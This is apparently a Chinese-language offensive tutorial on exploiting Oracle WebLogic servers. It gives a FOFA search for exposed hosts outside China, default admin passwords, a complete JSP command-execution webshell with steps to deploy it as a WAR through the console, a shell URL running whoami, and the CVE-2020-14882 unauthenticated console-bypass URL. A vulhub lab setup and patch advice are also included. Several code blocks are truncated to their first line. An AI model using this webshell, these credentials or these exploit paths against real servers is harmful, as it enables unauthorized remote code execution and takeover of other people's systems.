Weblogic漏洞-未授权任意文件上传漏洞
Weblogic漏洞-未授权任意文件上传漏洞
hihopkcWeblogic简介
WebLogic Server 是美国甲骨文( Oracle )公司开发的一款适用于云环境和传统环境 的应用服务中间件,确切的说是一个基于 JavaEE 架构的中间件,它提供了一个现代轻 型开发平台,用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应 用的 Java 应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型 网络应用的开发、集成、部署和管理之中。
Weblogic特征
默认端口:7001
Web界面:Error 404–Not Found
控制后台:http://ip:7001/console
Weblogic历史漏洞
漏洞主要影响版本:
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.1
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
- Weblogic 14.1.1.0
漏洞类型 | CVE编号 |
---|---|
SSRF | CVE-2014-4210 |
任意文件上传 | CVE-2018-2894 |
XMLDecoder反序列化 | CVE-2017-3506 |
CVE-2017-10271 | |
CVE-2019-2725 | |
CVE-2019-2729 | |
Java反序列化 | CVE-2015-4852 |
CVE-2016-0638 | |
CVE-2016-3510 | |
CVE-2017-3248 | |
CVE-2018-2628 | |
CVE-2018-2893 | |
CVE-2020-2890 | |
CVE-2020-2555 | |
CVE-2020-14645 | |
CVE-2020-14756 | |
CVE-2021-2109 | |
弱口令 | Weblogic |
Oracle@123 |
Weblogic历史漏洞发现
获取资产
shodan、fofa、zoomeye等
1 | fofa:app="BEA-WebLogic-Server" && country!="CN" |
默认端口:7001
批量生成脚本
Weblogic漏洞环境搭建
https://github.com/vulhub/vulhub/tree/master/weblogic
1 | docker pull vulhub/weblogic:10.3.6.0-2017 |
Weblogic历史漏洞利用
WeakPassword
Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令, 或者默认的账户名密码
Weblogic弱口令
1 | 访问路径:/console |
Weblogic 默认口令:https://cirt.net/passwords?criteria=weblogic
1 | system/password |
cmd.jsp
1 | <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%> |
命令打包war包
1 | jar -cvf cmd.war cmd.jsp |
上传war包
登录后台,选择部署,进入如下页面,上传war包
点击部署
安装
上载文件
一直下一步
完成后,war包已经部署
getshell
访问如下 url 即可getshell:
1 | 注意:不支持蚁剑,蚁剑连接必须使用下面的jsp4ant.jsp或蚁剑插件生成的jsp webshell |
然后蚁剑连接
CVE-2019-2725
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行
漏洞描述
Weblogic反序列化远程代码执行漏洞:
- CNVD-C-2019-48814
- CVE-2019-2725
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。
影响版本
1 | Oracle WebLogic Server 10.* |
影响组件
1 | bea_wls9_async_response.war |
漏洞判断
- 判断不安全组件是否开启
通过访问路径/_async/AsyncResponseService
wls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,因此会受该漏洞影响
漏洞利用
- shell上传路径
1 | C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war |
1 | http://172.26.2.43:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=whoami |
漏洞修复
- 打上官方CVE-2019-2725补丁包:
https://www.oracle.com/security-alerts/alert-cve-2019-2725.html
- 升级本地JDK版本
因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因
此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
- 配置URL访问控制策略
部署于公网的WebLogic服务器,可通过ACL禁止对/_async/*及/wls-wsat/*路径的访问。
- 删除不安全文件
删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。
具体文件路径:
10.3.* 版本:
1 | \Middleware\wlserver_10.3\server\lib\ |
12.1.3 版本:
1 | \Middleware\Oracle_Home\oracle_common\modules\ |
- 10.3.6.0 补丁 Patch 29204678
https://support.oracle.com/epmos/faces/ui/patch/PatchDetail.jspx?patchId=29204678
- 12.1.3.0 补丁 Patch 29204657
https://support.oracle.com/epmos/faces/ui/patch/PatchDetail.jspx?patchId=29204657
CVE-2020-14882
漏洞描述
Weblogic 管理控制台未授权远程命令执行漏洞
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响范围
1 | WebLogic 10.3.6.0 |
漏洞环境
docker-compose.yml
1 | version: '2' |
漏洞复现
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
漏洞修复
关闭后台/console/console.portal对外访问
参考文章
vulhub/weblogic/CVE-2020-14882
s1kr10s/CVE-2020-14882
jas502n/CVE-2020-14882